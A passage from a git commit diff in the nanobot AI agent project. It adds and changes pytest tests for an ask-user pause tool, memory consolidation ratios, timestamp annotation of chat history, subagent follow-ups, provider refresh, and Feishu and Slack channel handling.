Merge origin/main into fix/msteams-prune-stale-refs

Resolve the MSTeams stale-reference cleanup conflict by keeping the PR's locked, atomic sidecar-meta implementation and aligning the merged test expectation locally.

Made-with: Cursor
This commit is contained in:
Xubin Ren
2026-04-27 07:29:48 +00:00
68 changed files with 4279 additions and 359 deletions
+241
View File
@@ -0,0 +1,241 @@
import asyncio
from unittest.mock import MagicMock
import pytest
from nanobot.agent.loop import AgentLoop
from nanobot.agent.runner import AgentRunner, AgentRunSpec
from nanobot.agent.tools.ask import AskUserInterrupt, AskUserTool
from nanobot.agent.tools.base import Tool, tool_parameters
from nanobot.agent.tools.registry import ToolRegistry
from nanobot.agent.tools.schema import tool_parameters_schema
from nanobot.bus.events import InboundMessage
from nanobot.bus.queue import MessageBus
from nanobot.providers.base import GenerationSettings, LLMResponse, ToolCallRequest
def _make_provider(chat_with_retry):
async def chat_stream_with_retry(**kwargs):
kwargs.pop("on_content_delta", None)
return await chat_with_retry(**kwargs)
provider = MagicMock()
provider.get_default_model.return_value = "test-model"
provider.generation = GenerationSettings()
provider.chat_with_retry = chat_with_retry
provider.chat_stream_with_retry = chat_stream_with_retry
return provider
def test_ask_user_tool_schema_and_interrupt():
tool = AskUserTool()
schema = tool.to_schema()["function"]
assert schema["name"] == "ask_user"
assert "question" in schema["parameters"]["required"]
assert schema["parameters"]["properties"]["options"]["type"] == "array"
with pytest.raises(AskUserInterrupt) as exc:
asyncio.run(tool.execute("Continue?", options=["Yes", "No"]))
assert exc.value.question == "Continue?"
assert exc.value.options == ["Yes", "No"]
@pytest.mark.asyncio
async def test_runner_pauses_on_ask_user_without_executing_later_tools():
@tool_parameters(tool_parameters_schema(required=[]))
class LaterTool(Tool):
called = False
@property
def name(self) -> str:
return "later"
@property
def description(self) -> str:
return "Should not run after ask_user pauses the turn."
async def execute(self, **kwargs):
self.called = True
return "later result"
async def chat_with_retry(**kwargs):
return LLMResponse(
content="",
finish_reason="tool_calls",
tool_calls=[
ToolCallRequest(
id="call_ask",
name="ask_user",
arguments={"question": "Install this package?", "options": ["Yes", "No"]},
),
ToolCallRequest(id="call_later", name="later", arguments={}),
],
)
later = LaterTool()
tools = ToolRegistry()
tools.register(AskUserTool())
tools.register(later)
result = await AgentRunner(_make_provider(chat_with_retry)).run(AgentRunSpec(
initial_messages=[{"role": "user", "content": "continue"}],
tools=tools,
model="test-model",
max_iterations=3,
max_tool_result_chars=16_000,
concurrent_tools=True,
))
assert result.stop_reason == "ask_user"
assert result.final_content == "Install this package?"
assert "ask_user" in result.tools_used
assert later.called is False
assert result.messages[-1]["role"] == "assistant"
tool_calls = result.messages[-1]["tool_calls"]
assert [tool_call["function"]["name"] for tool_call in tool_calls] == ["ask_user"]
assert not any(message.get("name") == "ask_user" for message in result.messages)
@pytest.mark.asyncio
async def test_ask_user_text_fallback_resumes_with_next_message(tmp_path):
seen_messages: list[list[dict]] = []
async def chat_with_retry(**kwargs):
seen_messages.append(kwargs["messages"])
if len(seen_messages) == 1:
return LLMResponse(
content="",
finish_reason="tool_calls",
tool_calls=[
ToolCallRequest(
id="call_ask",
name="ask_user",
arguments={
"question": "Install the optional package?",
"options": ["Install", "Skip"],
},
)
],
)
return LLMResponse(content="Skipped install.", usage={})
loop = AgentLoop(
bus=MessageBus(),
provider=_make_provider(chat_with_retry),
workspace=tmp_path,
model="test-model",
)
async def on_stream(delta: str) -> None:
pass
async def on_stream_end(**kwargs) -> None:
pass
first = await loop._process_message(
InboundMessage(channel="cli", sender_id="user", chat_id="direct", content="set it up"),
on_stream=on_stream,
on_stream_end=on_stream_end,
)
assert first is not None
assert first.content == "Install the optional package?\n\n1. Install\n2. Skip"
assert first.buttons == []
assert "_streamed" not in first.metadata
session = loop.sessions.get_or_create("cli:direct")
assert any(message.get("role") == "assistant" and message.get("tool_calls") for message in session.messages)
assert not any(message.get("role") == "tool" and message.get("name") == "ask_user" for message in session.messages)
second = await loop._process_message(
InboundMessage(channel="cli", sender_id="user", chat_id="direct", content="Skip")
)
assert second is not None
assert second.content == "Skipped install."
assert any(
message.get("role") == "tool"
and message.get("name") == "ask_user"
and message.get("content") == "Skip"
for message in seen_messages[-1]
)
assert not any(
message.get("role") == "user" and message.get("content") == "Skip"
for message in session.messages
)
assert any(
message.get("role") == "tool"
and message.get("name") == "ask_user"
and message.get("content") == "Skip"
for message in session.messages
)
@pytest.mark.asyncio
async def test_ask_user_keeps_buttons_for_telegram(tmp_path):
async def chat_with_retry(**kwargs):
return LLMResponse(
content="",
finish_reason="tool_calls",
tool_calls=[
ToolCallRequest(
id="call_ask",
name="ask_user",
arguments={
"question": "Install the optional package?",
"options": ["Install", "Skip"],
},
)
],
)
loop = AgentLoop(
bus=MessageBus(),
provider=_make_provider(chat_with_retry),
workspace=tmp_path,
model="test-model",
)
response = await loop._process_message(
InboundMessage(channel="telegram", sender_id="user", chat_id="123", content="set it up")
)
assert response is not None
assert response.content == "Install the optional package?"
assert response.buttons == [["Install", "Skip"]]
@pytest.mark.asyncio
async def test_ask_user_keeps_buttons_for_websocket(tmp_path):
async def chat_with_retry(**kwargs):
return LLMResponse(
content="",
finish_reason="tool_calls",
tool_calls=[
ToolCallRequest(
id="call_ask",
name="ask_user",
arguments={
"question": "Install the optional package?",
"options": ["Install", "Skip"],
},
)
],
)
loop = AgentLoop(
bus=MessageBus(),
provider=_make_provider(chat_with_retry),
workspace=tmp_path,
model="test-model",
)
response = await loop._process_message(
InboundMessage(channel="websocket", sender_id="user", chat_id="123", content="set it up")
)
assert response is not None
assert response.content == "Install the optional package?"
assert response.buttons == [["Install", "Skip"]]
+108
View File
@@ -0,0 +1,108 @@
"""Tests for configurable consolidation_ratio."""
from unittest.mock import AsyncMock, MagicMock
import pytest
from pydantic import ValidationError
import nanobot.agent.memory as memory_module
from nanobot.agent.loop import AgentLoop
from nanobot.bus.queue import MessageBus
from nanobot.config.schema import AgentDefaults
from nanobot.providers.base import GenerationSettings, LLMResponse
def _make_loop(
tmp_path,
*,
estimated_tokens: int = 0,
context_window_tokens: int = 200,
consolidation_ratio: float = 0.5,
) -> AgentLoop:
provider = MagicMock()
provider.get_default_model.return_value = "test-model"
provider.generation = GenerationSettings(max_tokens=0)
provider.estimate_prompt_tokens.return_value = (estimated_tokens, "test-counter")
_response = LLMResponse(content="ok", tool_calls=[])
provider.chat_with_retry = AsyncMock(return_value=_response)
provider.chat_stream_with_retry = AsyncMock(return_value=_response)
loop = AgentLoop(
bus=MessageBus(),
provider=provider,
workspace=tmp_path,
model="test-model",
context_window_tokens=context_window_tokens,
consolidation_ratio=consolidation_ratio,
)
loop.tools.get_definitions = MagicMock(return_value=[])
loop.consolidator._SAFETY_BUFFER = 0
return loop
def _session_with_turns(loop: AgentLoop, *, turns: int):
session = loop.sessions.get_or_create("cli:test")
session.messages = []
for i in range(turns):
session.messages.append({"role": "user", "content": f"u{i}", "timestamp": f"2026-01-01T00:00:{i:02d}"})
session.messages.append({"role": "assistant", "content": f"a{i}", "timestamp": f"2026-01-01T00:01:{i:02d}"})
loop.sessions.save(session)
return session
@pytest.mark.asyncio
@pytest.mark.parametrize(
("ratio", "context_window_tokens", "estimates", "expected_archives"),
[
(0.5, 200, [250, 90], 1),
(0.1, 1000, [1200, 800, 400, 50], 2),
(0.9, 200, [300, 175], 1),
],
)
async def test_consolidation_ratio_controls_target(
tmp_path,
monkeypatch,
ratio: float,
context_window_tokens: int,
estimates: list[int],
expected_archives: int,
) -> None:
loop = _make_loop(
tmp_path,
context_window_tokens=context_window_tokens,
consolidation_ratio=ratio,
)
loop.consolidator.archive = AsyncMock(return_value=True) # type: ignore[method-assign]
session = _session_with_turns(loop, turns=10)
remaining_estimates = list(estimates)
def mock_estimate(_session, *, session_summary=None):
assert session_summary is None
return (remaining_estimates.pop(0), "test")
loop.consolidator.estimate_session_prompt_tokens = mock_estimate # type: ignore[method-assign]
monkeypatch.setattr(memory_module, "estimate_message_tokens", lambda _m: 100)
await loop.consolidator.maybe_consolidate_by_tokens(session)
assert loop.consolidator.archive.await_count == expected_archives
def test_ratio_propagated_from_config_schema() -> None:
defaults = AgentDefaults()
assert defaults.consolidation_ratio == 0.5
defaults = AgentDefaults.model_validate({"consolidationRatio": 0.3})
assert defaults.consolidation_ratio == 0.3
dumped = defaults.model_dump(by_alias=True)
assert dumped["consolidationRatio"] == 0.3
def test_ratio_validation_rejects_out_of_range() -> None:
with pytest.raises(ValidationError):
AgentDefaults(consolidation_ratio=0.05)
with pytest.raises(ValidationError):
AgentDefaults(consolidation_ratio=1.0)
+11
View File
@@ -188,6 +188,17 @@ def test_identity_has_no_behavioral_instructions(tmp_path) -> None:
assert "Execution Rules" not in identity
def test_system_prompt_does_not_warn_about_message_time_markers(tmp_path) -> None:
"""Parroting is prevented by not annotating assistant turns in history;
no prompt-level warning about ``[Message Time: ...]`` is needed."""
workspace = _make_workspace(tmp_path)
builder = ContextBuilder(workspace)
prompt = builder.build_system_prompt()
assert "Message Time" not in prompt
def test_default_soul_template_contains_execution_rules() -> None:
"""Default SOUL.md template must contain execution rules with act/plan layering."""
soul = (pkg_files("nanobot") / "templates" / "SOUL.md").read_text(encoding="utf-8")
+68 -1
View File
@@ -535,7 +535,14 @@ async def test_system_subagent_followup_is_persisted_before_prompt_assembly(tmp_
)
non_system = [m for m in seen["initial_messages"] if m.get("role") != "system"]
assert [m["content"] for m in non_system[:2]] == ["question", "working"]
assert "question" in non_system[0]["content"]
assert "working" in non_system[1]["content"]
# User turns carry the timestamp prefix so the model can reason about
# relative time. Assistant turns do NOT, otherwise the model treats those
# past replies as in-context examples and starts its own outputs with
# ``[Message Time: ...]`` (which then leaks back to the user).
assert "[Message Time:" in non_system[0]["content"]
assert "[Message Time:" not in non_system[1]["content"]
assert non_system[2]["content"].count("subagent result") == 1
assert "Current Time:" in non_system[2]["content"]
@@ -657,3 +664,63 @@ def test_subagent_followup_skips_empty_content() -> None:
assert loop._persist_subagent_followup(session, msg) is False
assert session.messages == []
def test_set_tool_context_passes_thread_session_key_to_spawn(tmp_path: Path) -> None:
loop = _make_full_loop(tmp_path)
loop._set_tool_context(
"slack",
"C123",
metadata={"slack": {"thread_ts": "1700.42", "channel_type": "channel"}},
session_key="slack:C123:1700.42",
)
spawn_tool = loop.tools.get("spawn")
assert spawn_tool is not None
assert spawn_tool._session_key.get() == "slack:C123:1700.42"
@pytest.mark.asyncio
async def test_system_subagent_followup_uses_thread_session_and_slack_metadata(tmp_path: Path) -> None:
loop = _make_full_loop(tmp_path)
loop.consolidator.maybe_consolidate_by_tokens = AsyncMock(return_value=False) # type: ignore[method-assign]
thread_session = loop.sessions.get_or_create("slack:C123:1700.42")
thread_session.add_message("user", "thread question")
loop.sessions.save(thread_session)
seen: dict[str, list[dict]] = {}
async def fake_run_agent_loop(initial_messages, **_kwargs):
seen["initial_messages"] = initial_messages
return (
"done",
[],
[*initial_messages, {"role": "assistant", "content": "done"}],
"stop",
False,
)
loop._run_agent_loop = fake_run_agent_loop # type: ignore[method-assign]
outbound = await loop._process_message(
InboundMessage(
channel="system",
sender_id="subagent",
chat_id="slack:C123",
content="subagent result",
session_key_override="slack:C123:1700.42",
metadata={"subagent_task_id": "sub-1"},
)
)
assert outbound is not None
assert outbound.channel == "slack"
assert outbound.chat_id == "C123"
assert outbound.metadata == {"slack": {"thread_ts": "1700.42"}}
assert "thread question" in seen["initial_messages"][1]["content"]
loop.sessions.invalidate("slack:C123:1700.42")
persisted = loop.sessions.get_or_create("slack:C123:1700.42")
assert any(m.get("subagent_task_id") == "sub-1" for m in persisted.messages)
+90
View File
@@ -0,0 +1,90 @@
from pathlib import Path
from unittest.mock import MagicMock
import pytest
from nanobot.agent.loop import AgentLoop
from nanobot.bus.queue import MessageBus
from nanobot.providers.base import LLMResponse, ToolCallRequest
class _ContextRecordingTool:
name = "cron"
concurrency_safe = False
def __init__(self) -> None:
self.contexts: list[dict] = []
def set_context(
self,
channel: str,
chat_id: str,
metadata: dict | None = None,
session_key: str | None = None,
) -> None:
self.contexts.append({
"channel": channel,
"chat_id": chat_id,
"metadata": metadata,
"session_key": session_key,
})
async def execute(self, **_kwargs) -> str:
return "created"
class _Tools:
def __init__(self, tool: _ContextRecordingTool) -> None:
self.tool = tool
def get(self, name: str):
return self.tool if name == "cron" else None
def get_definitions(self) -> list:
return []
def prepare_call(self, name: str, arguments: dict):
return (self.tool, arguments, None) if name == "cron" else (None, arguments, None)
@pytest.mark.asyncio
async def test_loop_hook_preserves_metadata_when_resetting_tool_context(tmp_path: Path) -> None:
provider = MagicMock()
calls = {"n": 0}
async def chat_with_retry(**_kwargs):
calls["n"] += 1
if calls["n"] == 1:
return LLMResponse(
content=None,
tool_calls=[ToolCallRequest(id="call_1", name="cron", arguments={"action": "add"})],
)
return LLMResponse(content="done", tool_calls=[])
provider.chat_with_retry = chat_with_retry
provider.get_default_model.return_value = "test-model"
loop = AgentLoop(
bus=MessageBus(),
provider=provider,
workspace=tmp_path,
model="test-model",
)
cron = _ContextRecordingTool()
loop.tools = _Tools(cron)
metadata = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
await loop._run_agent_loop(
[],
channel="slack",
chat_id="C123",
metadata=metadata,
session_key="slack:C123:111.222",
)
assert cron.contexts[-1] == {
"channel": "slack",
"chat_id": "C123",
"metadata": metadata,
"session_key": "slack:C123:111.222",
}
+4 -5
View File
@@ -1060,11 +1060,10 @@ async def test_next_turn_after_llm_error_keeps_turn_boundary(tmp_path):
request_messages = provider.chat_with_retry.await_args_list[1].kwargs["messages"]
non_system = [message for message in request_messages if message.get("role") != "system"]
assert non_system[0] == {"role": "user", "content": "first question"}
assert non_system[1] == {
"role": "assistant",
"content": _PERSISTED_MODEL_ERROR_PLACEHOLDER,
}
assert non_system[0]["role"] == "user"
assert "first question" in non_system[0]["content"]
assert non_system[1]["role"] == "assistant"
assert _PERSISTED_MODEL_ERROR_PLACEHOLDER in non_system[1]["content"]
assert non_system[2]["role"] == "user"
assert "second question" in non_system[2]["content"]
+49
View File
@@ -0,0 +1,49 @@
from pathlib import Path
from types import SimpleNamespace
from unittest.mock import MagicMock
from nanobot.agent.loop import AgentLoop
from nanobot.bus.queue import MessageBus
from nanobot.providers.factory import ProviderSnapshot
def _provider(default_model: str, max_tokens: int = 123) -> MagicMock:
provider = MagicMock()
provider.get_default_model.return_value = default_model
provider.generation = SimpleNamespace(max_tokens=max_tokens)
return provider
def test_provider_refresh_updates_all_model_dependents(tmp_path: Path) -> None:
old_provider = _provider("old-model")
new_provider = _provider("new-model", max_tokens=456)
loop = AgentLoop(
bus=MessageBus(),
provider=old_provider,
workspace=tmp_path,
model="old-model",
context_window_tokens=1000,
provider_snapshot_loader=lambda: ProviderSnapshot(
provider=new_provider,
model="new-model",
context_window_tokens=2000,
signature=("new-model",),
),
)
loop._refresh_provider_snapshot()
assert loop.provider is new_provider
assert loop.model == "new-model"
assert loop.context_window_tokens == 2000
assert loop.runner.provider is new_provider
assert loop.subagents.provider is new_provider
assert loop.subagents.model == "new-model"
assert loop.subagents.runner.provider is new_provider
assert loop.consolidator.provider is new_provider
assert loop.consolidator.model == "new-model"
assert loop.consolidator.context_window_tokens == 2000
assert loop.consolidator.max_completion_tokens == 456
assert loop.dream.provider is new_provider
assert loop.dream.model == "new-model"
assert loop.dream._runner.provider is new_provider
@@ -194,6 +194,87 @@ def test_get_history_preserves_reasoning_content():
]
def test_get_history_annotates_user_turns_but_not_assistant_turns():
"""Only user turns carry the timestamp prefix.
Annotating assistant turns trains the model (via in-context examples) to
start its own replies with ``[Message Time: ...]``. User-side stamps are
enough to pin adjacent assistant replies for relative-time reasoning.
"""
session = Session(key="test:timestamps")
session.messages.append({
"role": "user",
"content": "10 点提醒是昨天发生的",
"timestamp": "2026-04-26T22:00:00",
})
session.messages.append({
"role": "assistant",
"content": "记下来了",
"timestamp": "2026-04-26T22:00:05",
})
history = session.get_history(max_messages=500, include_timestamps=True)
assert history == [
{
"role": "user",
"content": "[Message Time: 2026-04-26T22:00:00]\n10 点提醒是昨天发生的",
},
{
"role": "assistant",
"content": "记下来了",
},
]
def test_get_history_annotates_proactive_assistant_deliveries_with_timestamps():
"""Cron / heartbeat assistant pushes still carry a timestamp prefix.
These proactive deliveries can sit hours away from the next user reply,
so the model needs to know when they fired. They are rare enough that
they don't act as in-context demonstrations encouraging the model to
prefix its own normal replies with ``[Message Time: ...]``.
"""
session = Session(key="test:proactive-timestamps")
session.messages.append({
"role": "assistant",
"content": "记得喝水",
"timestamp": "2026-04-26T15:00:00",
"_channel_delivery": True,
})
session.messages.append({
"role": "user",
"content": "",
"timestamp": "2026-04-26T18:00:00",
})
history = session.get_history(max_messages=500, include_timestamps=True)
assert history == [
{
"role": "assistant",
"content": "[Message Time: 2026-04-26T15:00:00]\n记得喝水",
},
{
"role": "user",
"content": "[Message Time: 2026-04-26T18:00:00]\n",
},
]
def test_get_history_does_not_annotate_tool_results_with_timestamps():
session = Session(key="test:tool-timestamps")
session.messages.append({"role": "user", "content": "run tool"})
session.messages.extend(_tool_turn("ts", 0))
session.messages[-1]["timestamp"] = "2026-04-26T22:00:10"
history = session.get_history(max_messages=500, include_timestamps=True)
tool_result = history[-1]
assert tool_result["role"] == "tool"
assert tool_result["content"] == "ok"
# --- Window cuts mid-group: assistant present but some tool results orphaned ---
def test_window_cuts_mid_tool_group():
+22 -3
View File
@@ -1,6 +1,6 @@
"""Tests for Feishu reaction add/remove and auto-cleanup on stream end."""
from types import SimpleNamespace
from unittest.mock import AsyncMock, MagicMock, patch
from unittest.mock import AsyncMock, MagicMock
import pytest
@@ -160,19 +160,38 @@ class TestRemoveReactionAsync:
class TestStreamEndReactionCleanup:
@pytest.mark.asyncio
async def test_stream_buffers_are_scoped_by_message_id(self):
ch = _make_channel()
ch._create_streaming_card_sync = MagicMock(return_value=None)
await ch.send_delta(
"oc_chat1", "first",
metadata={"message_id": "om_first"},
)
await ch.send_delta(
"oc_chat1", "second",
metadata={"message_id": "om_second"},
)
assert ch._stream_bufs["om_first"].text == "first"
assert ch._stream_bufs["om_second"].text == "second"
assert "oc_chat1" not in ch._stream_bufs
@pytest.mark.asyncio
async def test_removes_reaction_on_stream_end(self):
ch = _make_channel()
ch._stream_bufs["oc_chat1"] = _FeishuStreamBuf(
text="Done", card_id="card_1", sequence=3, last_edit=0.0,
)
ch._reaction_ids["om_001"] = "rx_42"
ch._client.cardkit.v1.card_element.content.return_value = MagicMock(success=MagicMock(return_value=True))
ch._client.cardkit.v1.card.settings.return_value = MagicMock(success=MagicMock(return_value=True))
ch._remove_reaction = AsyncMock()
await ch.send_delta(
"oc_chat1", "",
metadata={"_stream_end": True, "message_id": "om_001", "reaction_id": "rx_42"},
metadata={"_stream_end": True, "message_id": "om_001"},
)
ch._remove_reaction.assert_called_once_with("om_001", "rx_42")
@@ -189,7 +208,7 @@ class TestStreamEndReactionCleanup:
await ch.send_delta(
"oc_chat1", "",
metadata={"_stream_end": True, "reaction_id": "rx_42"},
metadata={"_stream_end": True},
)
ch._remove_reaction.assert_not_called()
+288 -3
View File
@@ -3,7 +3,7 @@ import asyncio
import json
from pathlib import Path
from types import SimpleNamespace
from unittest.mock import MagicMock, patch
from unittest.mock import AsyncMock, MagicMock, patch
import pytest
@@ -21,18 +21,18 @@ from nanobot.bus.events import OutboundMessage
from nanobot.bus.queue import MessageBus
from nanobot.channels.feishu import FeishuChannel, FeishuConfig
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def _make_feishu_channel(reply_to_message: bool = False) -> FeishuChannel:
def _make_feishu_channel(reply_to_message: bool = False, group_policy: str = "mention") -> FeishuChannel:
config = FeishuConfig(
enabled=True,
app_id="cli_test",
app_secret="secret",
allow_from=["*"],
reply_to_message=reply_to_message,
group_policy=group_policy,
)
channel = FeishuChannel(config, MessageBus())
channel._client = MagicMock()
@@ -443,3 +443,288 @@ async def test_on_message_no_extra_api_call_when_no_parent_id() -> None:
channel._client.im.v1.message.get.assert_not_called()
assert len(captured) == 1
# ---------------------------------------------------------------------------
# Session key derivation tests
# ---------------------------------------------------------------------------
@pytest.mark.asyncio
async def test_session_key_group_with_root_id_is_thread_scoped() -> None:
"""Group message with root_id gets a thread-scoped session key."""
channel = _make_feishu_channel(group_policy="open")
bus_spy = []
original_publish = channel.bus.publish_inbound
async def capture(msg):
bus_spy.append(msg)
await original_publish(msg)
channel.bus.publish_inbound = capture
channel._download_and_save_media = AsyncMock(return_value=(None, ""))
channel.transcribe_audio = AsyncMock(return_value="")
channel._add_reaction = AsyncMock(return_value=None)
event = _make_feishu_event(
chat_type="group",
content='{"text": "hello"}',
root_id="om_root123",
message_id="om_child456",
)
await channel._on_message(event)
assert len(bus_spy) == 1
assert bus_spy[0].session_key == "feishu:oc_abc:om_root123"
@pytest.mark.asyncio
async def test_session_key_group_no_root_id_uses_message_id() -> None:
"""Group message without root_id gets session keyed by message_id (per-message session)."""
channel = _make_feishu_channel(group_policy="open")
bus_spy = []
original_publish = channel.bus.publish_inbound
async def capture(msg):
bus_spy.append(msg)
await original_publish(msg)
channel.bus.publish_inbound = capture
channel._download_and_save_media = AsyncMock(return_value=(None, ""))
channel.transcribe_audio = AsyncMock(return_value="")
channel._add_reaction = AsyncMock(return_value=None)
event = _make_feishu_event(
chat_type="group",
content='{"text": "hello"}',
root_id=None,
message_id="om_001",
)
await channel._on_message(event)
assert len(bus_spy) == 1
assert bus_spy[0].session_key == "feishu:oc_abc:om_001"
@pytest.mark.asyncio
async def test_session_key_private_chat_no_override() -> None:
"""Private chat never overrides session key (consistent with Telegram/Slack)."""
channel = _make_feishu_channel()
bus_spy = []
original_publish = channel.bus.publish_inbound
async def capture(msg):
bus_spy.append(msg)
await original_publish(msg)
channel.bus.publish_inbound = capture
channel._download_and_save_media = AsyncMock(return_value=(None, ""))
channel.transcribe_audio = AsyncMock(return_value="")
channel._add_reaction = AsyncMock(return_value=None)
event = _make_feishu_event(
chat_type="p2p",
content='{"text": "hello"}',
root_id=None,
message_id="om_001",
)
await channel._on_message(event)
assert len(bus_spy) == 1
assert bus_spy[0].session_key_override is None
# ---------------------------------------------------------------------------
# reply_in_thread tests
# ---------------------------------------------------------------------------
@pytest.mark.asyncio
async def test_reply_uses_reply_in_thread_when_enabled() -> None:
"""When reply_to_message is True, reply includes reply_in_thread=True."""
channel = _make_feishu_channel(reply_to_message=True)
reply_resp = MagicMock()
reply_resp.success.return_value = True
channel._client.im.v1.message.reply.return_value = reply_resp
await channel.send(OutboundMessage(
channel="feishu",
chat_id="oc_abc",
content="hello",
metadata={"message_id": "om_001"},
))
channel._client.im.v1.message.reply.assert_called_once()
call_args = channel._client.im.v1.message.reply.call_args
request = call_args[0][0]
assert request.request_body.reply_in_thread is True
@pytest.mark.asyncio
async def test_reply_without_reply_in_thread_when_disabled() -> None:
"""When reply_to_message is False, reply does NOT use reply_in_thread."""
channel = _make_feishu_channel(reply_to_message=False)
create_resp = MagicMock()
create_resp.success.return_value = True
channel._client.im.v1.message.create.return_value = create_resp
await channel.send(OutboundMessage(
channel="feishu",
chat_id="oc_abc",
content="hello",
))
# No message_id in metadata → no reply attempt, direct create
channel._client.im.v1.message.create.assert_called_once()
@pytest.mark.asyncio
async def test_reply_keeps_fallback_when_reply_fails() -> None:
"""Even with reply_to_message=True, fallback to create on reply failure."""
channel = _make_feishu_channel(reply_to_message=True)
reply_resp = MagicMock()
reply_resp.success.return_value = False
reply_resp.code = 99991400
reply_resp.msg = "rate limited"
channel._client.im.v1.message.reply.return_value = reply_resp
create_resp = MagicMock()
create_resp.success.return_value = True
channel._client.im.v1.message.create.return_value = create_resp
await channel.send(OutboundMessage(
channel="feishu",
chat_id="oc_abc",
content="hello",
metadata={"message_id": "om_001"},
))
channel._client.im.v1.message.reply.assert_called()
channel._client.im.v1.message.create.assert_called()
@pytest.mark.asyncio
async def test_reply_no_reply_in_thread_for_p2p_chat() -> None:
"""reply_in_thread should NOT be set for p2p chats (identified by chat_type)."""
channel = _make_feishu_channel(reply_to_message=True)
reply_resp = MagicMock()
reply_resp.success.return_value = True
channel._client.im.v1.message.reply.return_value = reply_resp
await channel.send(OutboundMessage(
channel="feishu",
chat_id="oc_abc", # p2p chats also use oc_ prefix
content="hello",
metadata={"message_id": "om_001", "chat_type": "p2p"},
))
channel._client.im.v1.message.reply.assert_called_once()
call_args = channel._client.im.v1.message.reply.call_args
request = call_args[0][0]
assert request.request_body.reply_in_thread is not True
@pytest.mark.asyncio
async def test_reply_uses_reply_in_thread_for_group_chat() -> None:
"""reply_in_thread should be True for group chats (identified by chat_type)."""
channel = _make_feishu_channel(reply_to_message=True)
reply_resp = MagicMock()
reply_resp.success.return_value = True
channel._client.im.v1.message.reply.return_value = reply_resp
await channel.send(OutboundMessage(
channel="feishu",
chat_id="oc_abc",
content="hello",
metadata={"message_id": "om_001", "chat_type": "group"},
))
channel._client.im.v1.message.reply.assert_called_once()
call_args = channel._client.im.v1.message.reply.call_args
request = call_args[0][0]
assert request.request_body.reply_in_thread is True
@pytest.mark.asyncio
async def test_reply_targets_message_id_when_in_topic() -> None:
"""When inbound message is inside a topic (root_id != message_id),
the reply should target the inbound message_id (not root_id).
The Feishu Reply API keeps the response in the same topic
automatically when the target message is already inside a topic."""
channel = _make_feishu_channel(reply_to_message=True)
reply_resp = MagicMock()
reply_resp.success.return_value = True
channel._client.im.v1.message.reply.return_value = reply_resp
await channel.send(OutboundMessage(
channel="feishu",
chat_id="oc_abc",
content="hello",
metadata={
"message_id": "om_child456",
"chat_type": "group",
"root_id": "om_root123",
},
))
channel._client.im.v1.message.reply.assert_called_once()
call_args = channel._client.im.v1.message.reply.call_args
request = call_args[0][0]
# Should reply to the inbound message_id, not the root
assert request.message_id == "om_child456"
assert request.request_body.reply_in_thread is True
def test_on_reaction_added_stores_reaction_id() -> None:
"""_on_reaction_added stores the returned reaction_id in _reaction_ids."""
channel = _make_feishu_channel()
loop = asyncio.new_event_loop()
try:
task = loop.create_task(asyncio.sleep(0, result="reaction_abc"))
loop.run_until_complete(task)
channel._on_reaction_added("om_001", task)
finally:
loop.close()
assert channel._reaction_ids["om_001"] == "reaction_abc"
def test_on_reaction_added_skips_none_result() -> None:
"""_on_reaction_added does not store None results."""
channel = _make_feishu_channel()
loop = asyncio.new_event_loop()
try:
task = loop.create_task(asyncio.sleep(0, result=None))
loop.run_until_complete(task)
channel._on_reaction_added("om_001", task)
finally:
loop.close()
assert "om_001" not in channel._reaction_ids
def test_on_background_task_done_removes_from_set() -> None:
"""_on_background_task_done removes task from tracking set."""
channel = _make_feishu_channel()
loop = asyncio.new_event_loop()
try:
async def _fail():
raise RuntimeError("test failure")
task = loop.create_task(_fail())
channel._background_tasks.add(task)
try:
loop.run_until_complete(task)
except RuntimeError:
pass # expected
channel._on_background_task_done(task)
finally:
loop.close()
assert task not in channel._background_tasks
+216 -9
View File
@@ -1,5 +1,9 @@
from __future__ import annotations
from types import SimpleNamespace
from unittest.mock import AsyncMock
import httpx
import pytest
# Check optional Slack dependencies before running tests
@@ -10,7 +14,7 @@ except ImportError:
from nanobot.bus.events import OutboundMessage
from nanobot.bus.queue import MessageBus
from nanobot.channels.slack import SlackChannel, SlackConfig
from nanobot.channels.slack import SLACK_MAX_MESSAGE_LEN, SlackChannel, SlackConfig
class _FakeAsyncWebClient:
@@ -20,26 +24,30 @@ class _FakeAsyncWebClient:
self.reactions_add_calls: list[dict[str, object | None]] = []
self.reactions_remove_calls: list[dict[str, object | None]] = []
self.conversations_list_calls: list[dict[str, object | None]] = []
self.conversations_replies_calls: list[dict[str, object | None]] = []
self.users_list_calls: list[dict[str, object | None]] = []
self.conversations_open_calls: list[dict[str, object | None]] = []
self._conversations_pages: list[dict[str, object]] = []
self._conversations_replies_response: dict[str, object] = {"messages": []}
self._users_pages: list[dict[str, object]] = []
self._open_dm_response: dict[str, object] = {"channel": {"id": "D_OPENED"}}
async def chat_postMessage(
async def chat_postMessage( # noqa: N802 - mirrors Slack SDK method name
self,
*,
channel: str,
text: str,
thread_ts: str | None = None,
blocks: list[dict[str, object]] | None = None,
) -> None:
self.chat_post_calls.append(
{
"channel": channel,
"text": text,
"thread_ts": thread_ts,
}
)
call: dict[str, object | None] = {
"channel": channel,
"text": text,
"thread_ts": thread_ts,
}
if blocks is not None:
call["blocks"] = blocks
self.chat_post_calls.append(call)
async def files_upload_v2(
self,
@@ -92,6 +100,10 @@ class _FakeAsyncWebClient:
return self._conversations_pages.pop(0)
return {"channels": [], "response_metadata": {"next_cursor": ""}}
async def conversations_replies(self, **kwargs):
self.conversations_replies_calls.append(kwargs)
return self._conversations_replies_response
async def users_list(self, **kwargs):
self.users_list_calls.append(kwargs)
if self._users_pages:
@@ -149,6 +161,61 @@ async def test_send_omits_thread_for_dm_messages() -> None:
assert fake_web.file_upload_calls[0]["thread_ts"] is None
@pytest.mark.asyncio
async def test_send_splits_long_messages() -> None:
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
fake_web = _FakeAsyncWebClient()
channel._web_client = fake_web
await channel.send(
OutboundMessage(
channel="slack",
chat_id="C123",
content="x" * (SLACK_MAX_MESSAGE_LEN + 10),
)
)
assert len(fake_web.chat_post_calls) == 2
assert all(len(str(call["text"])) <= SLACK_MAX_MESSAGE_LEN for call in fake_web.chat_post_calls)
@pytest.mark.asyncio
async def test_send_renders_buttons_on_last_message_chunk() -> None:
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
fake_web = _FakeAsyncWebClient()
channel._web_client = fake_web
await channel.send(
OutboundMessage(
channel="slack",
chat_id="C123",
content="Choose one",
buttons=[["Yes", "No"]],
)
)
assert len(fake_web.chat_post_calls) == 1
